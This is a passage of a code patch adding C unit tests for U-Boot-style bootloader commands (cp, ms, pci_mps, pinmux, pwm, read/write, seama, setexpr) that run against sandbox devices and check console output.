+#include <dm/test.h>
+#include <test/ut.h>
+
+#define BUF_SIZE 256
+
+/* Declare a new mem test */
+#define MEM_TEST(_name) UNIT_TEST(_name, 0, mem_test)
+
+struct param {
+ int d, s, count;
+};
+
+static int do_test(struct unit_test_state *uts,
+ const char *suffix, int d, int s, int count)
+{
+ const long addr = 0x1000;
+ u8 shadow[BUF_SIZE];
+ u8 *buf;
+ int i, w, bytes;
+
+ buf = map_sysmem(addr, BUF_SIZE);
+
+ /* Fill with distinct bytes. */
+ for (i = 0; i < BUF_SIZE; ++i)
+ buf[i] = shadow[i] = i;
+
+ /* Parameter sanity checking. */
+ w = cmd_get_data_size(suffix, 4);
+ ut_assert(w == 1 || w == 2 || w == 4 || (MEM_SUPPORT_64BIT_DATA && w == 8));
+
+ bytes = count * w;
+ ut_assert(d < BUF_SIZE);
+ ut_assert(d + bytes <= BUF_SIZE);
+ ut_assert(s < BUF_SIZE);
+ ut_assert(s + bytes <= BUF_SIZE);
+
+ /* This is exactly what we expect to happen to "buf" */
+ memmove(shadow + d, shadow + s, bytes);
+
+ run_commandf("cp%s 0x%lx 0x%lx 0x%x", suffix, addr + s, addr + d, count);
+
+ ut_asserteq(0, memcmp(buf, shadow, BUF_SIZE));
+
+ unmap_sysmem(buf);
+
+ return 0;
+}
+
+static int mem_test_cp_b(struct unit_test_state *uts)
+{
+ static const struct param tests[] = {
+ { 0, 128, 128 },
+ { 128, 0, 128 },
+ { 0, 16, 32 },
+ { 16, 0, 32 },
+ { 60, 100, 100 },
+ { 100, 60, 100 },
+ { 123, 54, 96 },
+ { 54, 123, 96 },
+ };
+ const struct param *p;
+ int ret, i;
+
+ for (i = 0; i < ARRAY_SIZE(tests); ++i) {
+ p = &tests[i];
+ ret = do_test(uts, ".b", p->d, p->s, p->count);
+ if (ret)
+ return ret;
+ }
+
+ return 0;
+}
+MEM_TEST(mem_test_cp_b);
+
+static int mem_test_cp_w(struct unit_test_state *uts)
+{
+ static const struct param tests[] = {
+ { 0, 128, 64 },
+ { 128, 0, 64 },
+ { 0, 16, 16 },
+ { 16, 0, 16 },
+ { 60, 100, 50 },
+ { 100, 60, 50 },
+ { 123, 54, 48 },
+ { 54, 123, 48 },
+ };
+ const struct param *p;
+ int ret, i;
+
+ for (i = 0; i < ARRAY_SIZE(tests); ++i) {
+ p = &tests[i];
+ ret = do_test(uts, ".w", p->d, p->s, p->count);
+ if (ret)
+ return ret;
+ }
+
+ return 0;
+}
+MEM_TEST(mem_test_cp_w);
+
+static int mem_test_cp_l(struct unit_test_state *uts)
+{
+ static const struct param tests[] = {
+ { 0, 128, 32 },
+ { 128, 0, 32 },
+ { 0, 16, 8 },
+ { 16, 0, 8 },
+ { 60, 100, 25 },
+ { 100, 60, 25 },
+ { 123, 54, 24 },
+ { 54, 123, 24 },
+ };
+ const struct param *p;
+ int ret, i;
+
+ for (i = 0; i < ARRAY_SIZE(tests); ++i) {
+ p = &tests[i];
+ ret = do_test(uts, ".l", p->d, p->s, p->count);
+ if (ret)
+ return ret;
+ }
+
+ for (i = 0; i < ARRAY_SIZE(tests); ++i) {
+ p = &tests[i];
+ ret = do_test(uts, "", p->d, p->s, p->count);
+ if (ret)
+ return ret;
+ }
+
+ return 0;
+}
+MEM_TEST(mem_test_cp_l);
+
+#if MEM_SUPPORT_64BIT_DATA
+static int mem_test_cp_q(struct unit_test_state *uts)
+{
+ static const struct param tests[] = {
+ { 0, 128, 16 },
+ { 128, 0, 16 },
+ { 0, 16, 8 },
+ { 16, 0, 8 },
+ { 60, 100, 15 },
+ { 100, 60, 15 },
+ { 123, 54, 12 },
+ { 54, 123, 12 },
+ };
+ const struct param *p;
+ int ret, i;
+
+ for (i = 0; i < ARRAY_SIZE(tests); ++i) {
+ p = &tests[i];
+ ret = do_test(uts, ".q", p->d, p->s, p->count);
+ if (ret)
+ return ret;
+ }
+
+ return 0;
+}
+MEM_TEST(mem_test_cp_q);
+#endif
diff --git a/test/cmd/mem_search.c b/test/cmd/mem_search.c
new file mode 100644
index 00000000000..55ad2fac1e3
--- /dev/null
+++ b/test/cmd/mem_search.c
@@ -0,0 +1,324 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Tests for memory commands
+ *
+ * Copyright 2020 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <console.h>
+#include <mapmem.h>
+#include <dm/test.h>
+#include <test/ut.h>
+
+#define BUF_SIZE 0x100
+
+/* Declare a new mem test */
+#define MEM_TEST(_name, _flags) UNIT_TEST(_name, _flags, mem_test)
+
+/* Test 'ms' command with bytes */
+static int mem_test_ms_b(struct unit_test_state *uts)
+{
+ u8 *buf;
+
+ buf = map_sysmem(0, BUF_SIZE + 1);
+ memset(buf, '\0', BUF_SIZE);
+ buf[0x0] = 0x12;
+ buf[0x31] = 0x12;
+ buf[0xff] = 0x12;
+ buf[0x100] = 0x12;
+ ut_assertok(console_record_reset_enable());
+ run_command("ms.b 1 ff 12", 0);
+ ut_assert_nextline("00000030: 00 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................");
+ ut_assert_nextline("--");
+ ut_assert_nextline("000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 12 ................");
+ ut_assert_nextline("2 matches");
+ ut_assert_console_end();
+
+ ut_asserteq(2, env_get_hex("memmatches", 0));
+ ut_asserteq(0xff, env_get_hex("memaddr", 0));
+ ut_asserteq(0xfe, env_get_hex("mempos", 0));
+
+ unmap_sysmem(buf);
+
+ return 0;
+}
+MEM_TEST(mem_test_ms_b, UT_TESTF_CONSOLE_REC);
+
+/* Test 'ms' command with 16-bit values */
+static int mem_test_ms_w(struct unit_test_state *uts)
+{
+ u16 *buf;
+
+ buf = map_sysmem(0, BUF_SIZE + 2);
+ memset(buf, '\0', BUF_SIZE);
+ buf[0x34 / 2] = 0x1234;
+ buf[BUF_SIZE / 2] = 0x1234;
+ ut_assertok(console_record_reset_enable());
+ run_command("ms.w 0 80 1234", 0);
+ ut_assert_nextline("00000030: 0000 0000 1234 0000 0000 0000 0000 0000 ....4...........");
+ ut_assert_nextline("1 match");
+ ut_assert_console_end();
+
+ ut_asserteq(1, env_get_hex("memmatches", 0));
+ ut_asserteq(0x34, env_get_hex("memaddr", 0));
+ ut_asserteq(0x34 / 2, env_get_hex("mempos", 0));
+
+ unmap_sysmem(buf);
+
+ return 0;
+}
+MEM_TEST(mem_test_ms_w, UT_TESTF_CONSOLE_REC);
+
+/* Test 'ms' command with 32-bit values */
+static int mem_test_ms_l(struct unit_test_state *uts)
+{
+ u32 *buf;
+
+ buf = map_sysmem(0, BUF_SIZE + 4);
+ memset(buf, '\0', BUF_SIZE);
+ buf[0x38 / 4] = 0x12345678;
+ buf[BUF_SIZE / 4] = 0x12345678;
+ ut_assertok(console_record_reset_enable());
+ run_command("ms 0 40 12345678", 0);
+ ut_assert_nextline("00000030: 00000000 00000000 12345678 00000000 ........xV4.....");
+ ut_assert_nextline("1 match");
+ ut_assert_console_end();
+
+ ut_asserteq(1, env_get_hex("memmatches", 0));
+ ut_asserteq(0x38, env_get_hex("memaddr", 0));
+ ut_asserteq(0x38 / 4, env_get_hex("mempos", 0));
+
+ ut_assertok(console_record_reset_enable());
+ run_command("ms 0 80 12345679", 0);
+ ut_assert_nextline("0 matches");
+ ut_assert_console_end();
+
+ ut_asserteq(0, env_get_hex("memmatches", 0));
+ ut_asserteq(0, env_get_hex("memaddr", 0));
+ ut_asserteq(0 / 4, env_get_hex("mempos", 0));
+
+ unmap_sysmem(buf);
+
+ return 0;
+}
+MEM_TEST(mem_test_ms_l, UT_TESTF_CONSOLE_REC);
+
+/* Test 'ms' command with continuation */
+static int mem_test_ms_cont(struct unit_test_state *uts)
+{
+ char *const args[] = {"ms.b", "0", "100", "34"};
+ int repeatable;
+ u8 *buf;
+ int i;
+
+ buf = map_sysmem(0, BUF_SIZE);
+ memset(buf, '\0', BUF_SIZE);
+ for (i = 5; i < 0x33; i += 3)
+ buf[i] = 0x34;
+ ut_assertok(console_record_reset_enable());
+ run_command("ms.b 0 100 34", 0);
+ ut_assert_nextlinen("00000000: 00 00 00 00 00 34 00 00 34 00 00 34 00 00 34 00");
+ ut_assert_nextline("--");
+ ut_assert_nextlinen("00000010: 00 34 00 00 34 00 00 34 00 00 34 00 00 34 00 00");
+ ut_assert_nextline("--");
+ ut_assert_nextlinen("00000020: 34 00 00 34 00 00 34 00 00 34 00 00 34 00 00 34");
+ ut_assert_nextlinen("10 matches (repeat command to check for more)");
+ ut_assert_console_end();
+
+ ut_asserteq(10, env_get_hex("memmatches", 0));
+ ut_asserteq(0x20, env_get_hex("memaddr", 0));
+ ut_asserteq(0x20, env_get_hex("mempos", 0));
+
+ /*
+ * run_command() ignoes the repeatable flag when using hush, so call
+ * cmd_process() directly
+ */
+ ut_assertok(console_record_reset_enable());
+ cmd_process(CMD_FLAG_REPEAT, 4, args, &repeatable, NULL);
+ ut_assert_nextlinen("00000020: 34 00 00 34 00 00 34 00 00 34 00 00 34 00 00 34");
+ ut_assert_nextline("--");
+ ut_assert_nextlinen("00000030: 00 00 34 00 00 00 00 00");
+ ut_assert_nextlinen("6 matches");
+ ut_assert_console_end();
+
+ ut_asserteq(6, env_get_hex("memmatches", 0));
+ ut_asserteq(0x32, env_get_hex("memaddr", 0));
+
+ /* 0x32 less 0x21, where the second search started */
+ ut_asserteq(0x11, env_get_hex("mempos", 0));
+
+ unmap_sysmem(buf);
+
+ return 0;
+}
+MEM_TEST(mem_test_ms_cont, UT_TESTF_CONSOLE_REC);
+
+/* Test that an 'ms' command with continuation stops at the end of the range */
+static int mem_test_ms_cont_end(struct unit_test_state *uts)
+{
+ char *const args[] = {"ms.b", "1", "ff", "12"};
+ int repeatable;
+ u8 *buf;
+
+ buf = map_sysmem(0, BUF_SIZE);
+ memset(buf, '\0', BUF_SIZE);
+ buf[0x0] = 0x12;
+ buf[0x31] = 0x12;
+ buf[0xff] = 0x12;
+ buf[0x100] = 0x12;
+ ut_assertok(console_record_reset_enable());
+ run_command("ms.b 1 ff 12", 0);
+ ut_assert_nextlinen("00000030");
+ ut_assert_nextlinen("--");
+ ut_assert_nextlinen("000000f0");
+ ut_assert_nextlinen("2 matches");
+ ut_assert_console_end();
+
+ /*
+ * run_command() ignoes the repeatable flag when using hush, so call
+ * cmd_process() directly.
+ *
+ * This should produce no matches.
+ */
+ ut_assertok(console_record_reset_enable());
+ cmd_process(CMD_FLAG_REPEAT, 4, args, &repeatable, NULL);
+ ut_assert_nextlinen("0 matches");
+ ut_assert_console_end();
+
+ /* One more time */
+ ut_assertok(console_record_reset_enable());
+ cmd_process(CMD_FLAG_REPEAT, 4, args, &repeatable, NULL);
+ ut_assert_nextlinen("0 matches");
+ ut_assert_console_end();
+
+ unmap_sysmem(buf);
+
+ return 0;
+}
+MEM_TEST(mem_test_ms_cont_end, UT_TESTF_CONSOLE_REC);
+
+/* Test 'ms' command with multiple values */
+static int mem_test_ms_mult(struct unit_test_state *uts)
+{
+ static const char str[] = "hello";
+ char *buf;
+
+ buf = map_sysmem(0, BUF_SIZE + 5);
+ memset(buf, '\0', BUF_SIZE);
+ strcpy(buf + 0x1e, str);
+ strcpy(buf + 0x63, str);
+ strcpy(buf + BUF_SIZE - strlen(str) + 1, str);
+ ut_assertok(console_record_reset_enable());
+ run_command("ms.b 0 100 68 65 6c 6c 6f", 0);
+ ut_assert_nextline("00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 65 ..............he");
+ ut_assert_nextline("00000020: 6c 6c 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 llo.............");
+ ut_assert_nextline("--");
+ ut_assert_nextline("00000060: 00 00 00 68 65 6c 6c 6f 00 00 00 00 00 00 00 00 ...hello........");
+ ut_assert_nextline("2 matches");
+ ut_assert_console_end();
+ unmap_sysmem(buf);
+
+ ut_asserteq(2, env_get_hex("memmatches", 0));
+ ut_asserteq(0x63, env_get_hex("memaddr", 0));
+ ut_asserteq(0x63, env_get_hex("mempos", 0));
+
+ return 0;
+}
+MEM_TEST(mem_test_ms_mult, UT_TESTF_CONSOLE_REC);
+
+/* Test 'ms' command with string */
+static int mem_test_ms_s(struct unit_test_state *uts)
+{
+ static const char str[] = "hello";
+ static const char str2[] = "hellothere";
+ char *buf;
+
+ buf = map_sysmem(0, BUF_SIZE);
+ memset(buf, '\0', BUF_SIZE);
+ strcpy(buf + 0x1e, str);
+ strcpy(buf + 0x63, str);
+ strcpy(buf + 0xa1, str2);
+ ut_assertok(console_record_reset_enable());
+ run_command("ms.s 0 100 hello", 0);
+ ut_assert_nextline("00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 65 ..............he");
+ ut_assert_nextline("00000020: 6c 6c 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 llo.............");
+ ut_assert_nextline("--");
+ ut_assert_nextline("00000060: 00 00 00 68 65 6c 6c 6f 00 00 00 00 00 00 00 00 ...hello........");
+ ut_assert_nextline("--");
+ ut_assert_nextline("000000a0: 00 68 65 6c 6c 6f 74 68 65 72 65 00 00 00 00 00 .hellothere.....");
+ ut_assert_nextline("3 matches");
+ ut_assert_console_end();
+
+ ut_asserteq(3, env_get_hex("memmatches", 0));
+ ut_asserteq(0xa1, env_get_hex("memaddr", 0));
+ ut_asserteq(0xa1, env_get_hex("mempos", 0));
+
+ ut_assertok(console_record_reset_enable());
+ run_command("ms.s 0 100 hello there", 0);
+ ut_assert_nextline("000000a0: 00 68 65 6c 6c 6f 74 68 65 72 65 00 00 00 00 00 .hellothere.....");
+ ut_assert_nextline("1 match");
+ ut_assert_console_end();
+
+ ut_asserteq(1, env_get_hex("memmatches", 0));
+ ut_asserteq(0xa1, env_get_hex("memaddr", 0));
+ ut_asserteq(0xa1, env_get_hex("mempos", 0));
+
+ unmap_sysmem(buf);
+
+ return 0;
+}
+MEM_TEST(mem_test_ms_s, UT_TESTF_CONSOLE_REC);
+
+/* Test 'ms' command with limit */
+static int mem_test_ms_limit(struct unit_test_state *uts)
+{
+ u8 *buf;
+
+ buf = map_sysmem(0, BUF_SIZE + 1);
+ memset(buf, '\0', BUF_SIZE);
+ buf[0x0] = 0x12;
+ buf[0x31] = 0x12;
+ buf[0x62] = 0x12;
+ buf[0x76] = 0x12;
+ ut_assertok(console_record_reset_enable());
+ run_command("ms.b -l2 1 ff 12", 0);
+ ut_assert_nextline("00000030: 00 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................");
+ ut_assert_nextline("--");
+ ut_assert_nextlinen("00000060: 00 00 12 00 00 00 00 00 00 00 00 00 00 00 00 00");
+ ut_assert_nextline("2 matches (repeat command to check for more)");
+ ut_assert_console_end();
+
+ ut_asserteq(2, env_get_hex("memmatches", 0));
+ ut_asserteq(0x62, env_get_hex("memaddr", 0));
+ ut_asserteq(0x61, env_get_hex("mempos", 0));
+
+ unmap_sysmem(buf);
+
+ return 0;
+}
+MEM_TEST(mem_test_ms_limit, UT_TESTF_CONSOLE_REC);
+
+/* Test 'ms' command in quiet mode */
+static int mem_test_ms_quiet(struct unit_test_state *uts)
+{
+ u8 *buf;
+
+ buf = map_sysmem(0, BUF_SIZE + 1);
+ memset(buf, '\0', BUF_SIZE);
+ buf[0x0] = 0x12;
+ buf[0x31] = 0x12;
+ buf[0x62] = 0x12;
+ buf[0x76] = 0x12;
+ ut_assertok(console_record_reset_enable());
+ run_command("ms.b -q -l2 1 ff 12", 0);
+ ut_assert_console_end();
+ unmap_sysmem(buf);
+
+ ut_asserteq(2, env_get_hex("memmatches", 0));
+ ut_asserteq(0x62, env_get_hex("memaddr", 0));
+ ut_asserteq(0x61, env_get_hex("mempos", 0));
+
+ return 0;
+}
+MEM_TEST(mem_test_ms_quiet, UT_TESTF_CONSOLE_REC);
diff --git a/test/cmd/pci_mps.c b/test/cmd/pci_mps.c
new file mode 100644
index 00000000000..2a64143eecd
--- /dev/null
+++ b/test/cmd/pci_mps.c
@@ -0,0 +1,41 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Tests that the PCI Maximum Payload Size (MPS) command can set the sandbox
+ * PCI Express device to safe mode and determine the correct payload size.
+ *
+ * Copyright 2023 Microsoft
+ * Written by Stephen Carlson <stcarlso@linux.microsoft.com>
+ */
+
+#include <console.h>
+#include <test/suites.h>
+#include <test/ut.h>
+
+#define PCI_MPS_TEST(_name, _flags) UNIT_TEST(_name, _flags, pci_mps_test)
+
+/* Test "pci_mps" command in safe "s" mode */
+static int test_pci_mps_safe(struct unit_test_state *uts)
+{
+ /* Enumerate PCI Express first */
+ ut_assertok(run_command("pci e", 0));
+ ut_assert_console_end();
+
+ /* Test pci_mps s */
+ ut_assertok(run_command("pci_mps s", 0));
+ ut_assert_nextline("Setting MPS of all devices to 256B");
+ ut_assert_console_end();
+
+ return 0;
+}
+
+PCI_MPS_TEST(test_pci_mps_safe, UT_TESTF_CONSOLE_REC);
+
+int do_ut_pci_mps(struct cmd_tbl *cmdtp, int flag, int argc,
+ char * const argv[])
+{
+ struct unit_test *tests = UNIT_TEST_SUITE_START(pci_mps_test);
+ const int n = UNIT_TEST_SUITE_COUNT(pci_mps_test);
+
+ return cmd_ut_category("cmd_pci_mps", "pci_mps_test_", tests, n,
+ argc, argv);
+}
diff --git a/test/cmd/pinmux.c b/test/cmd/pinmux.c
new file mode 100644
index 00000000000..4253baa5646
--- /dev/null
+++ b/test/cmd/pinmux.c
@@ -0,0 +1,40 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Executes tests for pinmux command
+ *
+ * Copyright (C) 2021, STMicroelectronics - All Rights Reserved
+ */
+
+#include <command.h>
+#include <dm.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+static int dm_test_cmd_pinmux_status_pinname(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(uclass_get_device(UCLASS_LED, 2, &dev));
+
+ /* Test that 'pinmux status <pinname>' displays the selected pin. */
+ console_record_reset();
+ run_command("pinmux status a5", 0);
+ ut_assert_nextlinen("a5 : gpio output .");
+ ut_assert_console_end();
+
+ console_record_reset();
+ run_command("pinmux status P7", 0);
+ ut_assert_nextlinen("P7 : GPIO2 bias-pull-down input-enable.");
+ ut_assert_console_end();
+
+ console_record_reset();
+ run_command("pinmux status P9", 0);
+ ut_assert_nextlinen("single-pinctrl pinctrl-single-no-width: missing register width");
+ ut_assert_nextlinen("P9 not found");
+ ut_assert_console_end();
+
+ return 0;
+}
+
+DM_TEST(dm_test_cmd_pinmux_status_pinname, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/cmd/pwm.c b/test/cmd/pwm.c
new file mode 100644
index 00000000000..cf7ee0e0e65
--- /dev/null
+++ b/test/cmd/pwm.c
@@ -0,0 +1,75 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Test for pwm command
+ *
+ * Copyright 2020 SiFive, Inc
+ *
+ * Authors:
+ * Pragnesh Patel <pragnesh.patel@sifive.com>
+ */
+
+#include <dm.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Basic test of 'pwm' command */
+static int dm_test_pwm_cmd(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ /* cros-ec-pwm */
+ ut_assertok(uclass_get_device(UCLASS_PWM, 0, &dev));
+ ut_assertnonnull(dev);
+
+ ut_assertok(console_record_reset_enable());
+
+ /* pwm <invert> <pwm_dev_num> <channel> <polarity> */
+ /* cros-ec-pwm doesn't support invert */
+ ut_asserteq(1, run_command("pwm invert 0 0 1", 0));
+ ut_assert_nextline("error(-38)");
+ ut_assert_console_end();
+
+ ut_asserteq(1, run_command("pwm invert 0 0 0", 0));
+ ut_assert_nextline("error(-38)");
+ ut_assert_console_end();
+
+ /* pwm <config> <pwm_dev_num> <channel> <period_ns> <duty_ns> */
+ ut_assertok(run_command("pwm config 0 0 10 50", 0));
+ ut_assert_console_end();
+
+ /* pwm <enable/disable> <pwm_dev_num> <channel> */
+ ut_assertok(run_command("pwm enable 0 0", 0));
+ ut_assert_console_end();
+
+ ut_assertok(run_command("pwm disable 0 0", 0));
+ ut_assert_console_end();
+
+ /* sandbox-pwm */
+ ut_assertok(uclass_get_device(UCLASS_PWM, 1, &dev));
+ ut_assertnonnull(dev);
+
+ ut_assertok(console_record_reset_enable());
+
+ /* pwm <invert> <pwm_dev_num> <channel> <polarity> */
+ ut_assertok(run_command("pwm invert 1 0 1", 0));
+ ut_assert_console_end();
+
+ ut_assertok(run_command("pwm invert 1 0 0", 0));
+ ut_assert_console_end();
+
+ /* pwm <config> <pwm_dev_num> <channel> <period_ns> <duty_ns> */
+ ut_assertok(run_command("pwm config 1 0 10 50", 0));
+ ut_assert_console_end();
+
+ /* pwm <enable/disable> <pwm_dev_num> <channel> */
+ ut_assertok(run_command("pwm enable 1 0", 0));
+ ut_assert_console_end();
+
+ ut_assertok(run_command("pwm disable 1 0", 0));
+ ut_assert_console_end();
+
+ return 0;
+}
+
+DM_TEST(dm_test_pwm_cmd, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT | UT_TESTF_CONSOLE_REC);
diff --git a/test/cmd/rw.c b/test/cmd/rw.c
new file mode 100644
index 00000000000..edd762e4d58
--- /dev/null
+++ b/test/cmd/rw.c
@@ -0,0 +1,103 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Tests for read and write commands
+ */
+
+#include <dm/test.h>
+#include <mapmem.h>
+#include <part.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+static int setup_partitions(struct unit_test_state *uts, struct blk_desc **mmc_dev_desc)
+{
+ char str_disk_guid[UUID_STR_LEN + 1];
+ struct disk_partition parts[2] = {
+ {
+ .start = 48, /* GPT data takes up the first 34 blocks or so */
+ .size = 4,
+ .name = "data",
+ },
+ {
+ .start = 52,
+ .size = 10,
+ .name = "log",
+ },
+ };
+
+ ut_asserteq(2, blk_get_device_by_str("mmc", "2", mmc_dev_desc));
+ if (CONFIG_IS_ENABLED(RANDOM_UUID)) {
+ gen_rand_uuid_str(parts[0].uuid, UUID_STR_FORMAT_STD);
+ gen_rand_uuid_str(parts[1].uuid, UUID_STR_FORMAT_STD);
+ gen_rand_uuid_str(str_disk_guid, UUID_STR_FORMAT_STD);
+ }
+ ut_assertok(gpt_restore(*mmc_dev_desc, str_disk_guid, parts,
+ ARRAY_SIZE(parts)));
+ return 0;
+}
+
+/* Fill the write buffer with pseudo-random data, clear the read buffer. */
+static void init_buffers(char *rb, char *wb, size_t size, unsigned seed)
+{
+ memset(rb, 0, size);
+ while (size--) {
+ *wb++ = seed;
+ seed *= 43;
+ seed += 17 + size/4;
+ }
+}
+
+static int dm_test_read_write(struct unit_test_state *uts)
+{
+ struct blk_desc *dev_desc;
+ char wbuf[1024], rbuf[1024];
+ ulong wa, ra;
+
+#define INIT_BUFFERS() init_buffers(rbuf, wbuf, sizeof(rbuf), __LINE__)
+
+ ut_assertok(setup_partitions(uts, &dev_desc));
+
+ wa = map_to_sysmem(wbuf);
+ ra = map_to_sysmem(rbuf);
+
+ /* Simple test, write to/read from same partition. */
+ INIT_BUFFERS();
+ ut_assertok(run_commandf("write mmc 2:1 0x%lx 0 2", wa));
+ ut_assertok(run_commandf("read mmc 2:1 0x%lx 0 2", ra));
+ ut_assertok(memcmp(wbuf, rbuf, sizeof(wbuf)));
+ ut_assertok(run_commandf("read mmc 2:1 0x%lx 1 1", ra));
+ ut_assertok(memcmp(&wbuf[512], rbuf, 512));
+
+ /* Use name for write, number for read. */
+ INIT_BUFFERS();
+ ut_assertok(run_commandf("write mmc 2#log 0x%lx 0 2", wa));
+ ut_assertok(run_commandf("read mmc 2:2 0x%lx 0 2", ra));
+ ut_assertok(memcmp(wbuf, rbuf, sizeof(wbuf)));
+
+ /* Use full device for write, name for read. */
+ INIT_BUFFERS();
+ ut_assertok(run_commandf("write mmc 2:0 0x%lx 0x30 2", wa));
+ ut_assertok(run_commandf("read mmc 2#data 0x%lx 0 2", ra));
+ ut_assertok(memcmp(wbuf, rbuf, sizeof(wbuf)));
+
+ /* Use name for write, full device for read */
+ INIT_BUFFERS();
+ ut_assertok(run_commandf("write mmc 2#log 0x%lx 1 2", wa));
+ ut_assertok(run_commandf("read mmc 2:0 0x%lx 0x35 2", ra));
+ ut_assertok(memcmp(wbuf, rbuf, sizeof(wbuf)));
+
+ /* Read/write outside partition bounds should be rejected upfront. */
+ console_record_reset_enable();
+ ut_asserteq(1, run_commandf("read mmc 2#data 0x%lx 3 2", ra));
+ ut_assert_nextlinen("read out of range");
+ ut_assert_console_end();
+
+ console_record_reset_enable();
+ ut_asserteq(1, run_commandf("write mmc 2#log 0x%lx 9 2", wa));
+ ut_assert_nextlinen("write out of range");
+ ut_assert_console_end();
+
+ return 0;
+}
+
+DM_TEST(dm_test_read_write, UT_TESTF_SCAN_FDT | UT_TESTF_CONSOLE_REC);
diff --git a/test/cmd/seama.c b/test/cmd/seama.c
new file mode 100644
index 00000000000..b60f6550b13
--- /dev/null
+++ b/test/cmd/seama.c
@@ -0,0 +1,70 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Executes tests for SEAMA (SEAttle iMAge) command
+ *
+ * Copyright (C) 2021 Linus Walleij <linus.walleij@linaro.org>
+ */
+
+#include <command.h>
+#include <dm.h>
+#include <test/suites.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+#define SEAMA_TEST(_name, _flags) UNIT_TEST(_name, _flags, seama_test)
+
+static int seama_test_noargs(struct unit_test_state *uts)
+{
+ /* Test that 'seama' with no arguments fails gracefully */
+ console_record_reset();
+ run_command("seama", 0);
+ ut_assert_nextlinen("seama - Load the SEAMA image and sets envs");
+ ut_assert_skipline();
+ ut_assert_skipline();
+ ut_assert_skipline();
+ ut_assert_skipline();
+ ut_assert_console_end();
+ return 0;
+}
+SEAMA_TEST(seama_test_noargs, UT_TESTF_CONSOLE_REC);
+
+static int seama_test_addr(struct unit_test_state *uts)
+{
+ /* Test that loads SEAMA image 0 to address 0x01000000 */
+ console_record_reset();
+ run_command("seama 0x01000000", 0);
+ ut_assert_nextlinen("Loading SEAMA image 0 from nand0");
+ ut_assert_nextlinen("SEMA IMAGE:");
+ ut_assert_nextlinen(" metadata size ");
+ ut_assert_nextlinen(" image size ");
+ ut_assert_nextlinen(" checksum ");
+ ut_assert_nextlinen("Decoding SEAMA image 0x01000040..");
+ ut_assert_console_end();
+ return 0;
+}
+SEAMA_TEST(seama_test_addr, UT_TESTF_CONSOLE_REC);
+
+static int seama_test_index(struct unit_test_state *uts)
+{
+ /* Test that loads SEAMA image 0 exlicitly specified */
+ console_record_reset();
+ run_command("seama 0x01000000 0", 0);
+ ut_assert_nextlinen("Loading SEAMA image 0 from nand0");
+ ut_assert_nextlinen("SEMA IMAGE:");
+ ut_assert_nextlinen(" metadata size ");
+ ut_assert_nextlinen(" image size ");
+ ut_assert_nextlinen(" checksum ");
+ ut_assert_nextlinen("Decoding SEAMA image 0x01000040..");
+ ut_assert_console_end();
+ return 0;
+}
+SEAMA_TEST(seama_test_index, UT_TESTF_CONSOLE_REC);
+
+int do_ut_seama(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[])
+{
+ struct unit_test *tests = UNIT_TEST_SUITE_START(seama_test);
+ const int n_ents = UNIT_TEST_SUITE_COUNT(seama_test);
+
+ return cmd_ut_category("seama", "seama_test_", tests, n_ents, argc,
+ argv);
+}
diff --git a/test/cmd/setexpr.c b/test/cmd/setexpr.c
new file mode 100644
index 00000000000..d50ce5803c3
--- /dev/null
+++ b/test/cmd/setexpr.c
@@ -0,0 +1,493 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Tests for setexpr command
+ *
+ * Copyright 2020 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <console.h>
+#include <mapmem.h>
+#include <dm/test.h>
+#include <test/suites.h>
+#include <test/ut.h>
+
+#define BUF_SIZE 0x100
+
+/* Declare a new setexpr test */
+#define SETEXPR_TEST(_name, _flags) UNIT_TEST(_name, _flags, setexpr_test)
+
+/* Test 'setexpr' command with simply setting integers */
+static int setexpr_test_int(struct unit_test_state *uts)
+{
+ u8 *buf;
+
+ buf = map_sysmem(0, BUF_SIZE);
+ memset(buf, '\xff', BUF_SIZE);
+
+ /* byte */
+ buf[0x0] = 0x12;
+ ut_assertok(run_command("setexpr.b fred 0", 0));
+ ut_asserteq_str("0", env_get("fred"));
+ ut_assertok(run_command("setexpr.b fred *0", 0));
+ ut_asserteq_str("12", env_get("fred"));
+
+ /* 16-bit */
+ *(short *)buf = 0x2345;
+ ut_assertok(run_command("setexpr.w fred 0", 0));
+ ut_asserteq_str("0", env_get("fred"));
+ ut_assertok(run_command("setexpr.w fred *0", 0));
+ ut_asserteq_str("2345", env_get("fred"));
+
+ /* 32-bit */
+ *(u32 *)buf = 0x3456789a;
+ ut_assertok(run_command("setexpr.l fred 0", 0));
+ ut_asserteq_str("0", env_get("fred"));
+ ut_assertok(run_command("setexpr.l fred *0", 0));
+ ut_asserteq_str("3456789a", env_get("fred"));
+
+ /* 64-bit */
+ *(u64 *)buf = 0x456789abcdef0123;
+ ut_assertok(run_command("setexpr.q fred 0", 0));
+ ut_asserteq_str("0", env_get("fred"));
+ ut_assertok(run_command("setexpr.q fred *0", 0));
+ ut_asserteq_str("456789abcdef0123", env_get("fred"));
+
+ /* default */
+ ut_assertok(run_command("setexpr fred 0", 0));
+ ut_asserteq_str("0", env_get("fred"));
+ ut_assertok(run_command("setexpr fred *0", 0));
+ ut_asserteq_str("cdef0123", env_get("fred"));
+
+ unmap_sysmem(buf);
+
+ return 0;
+}
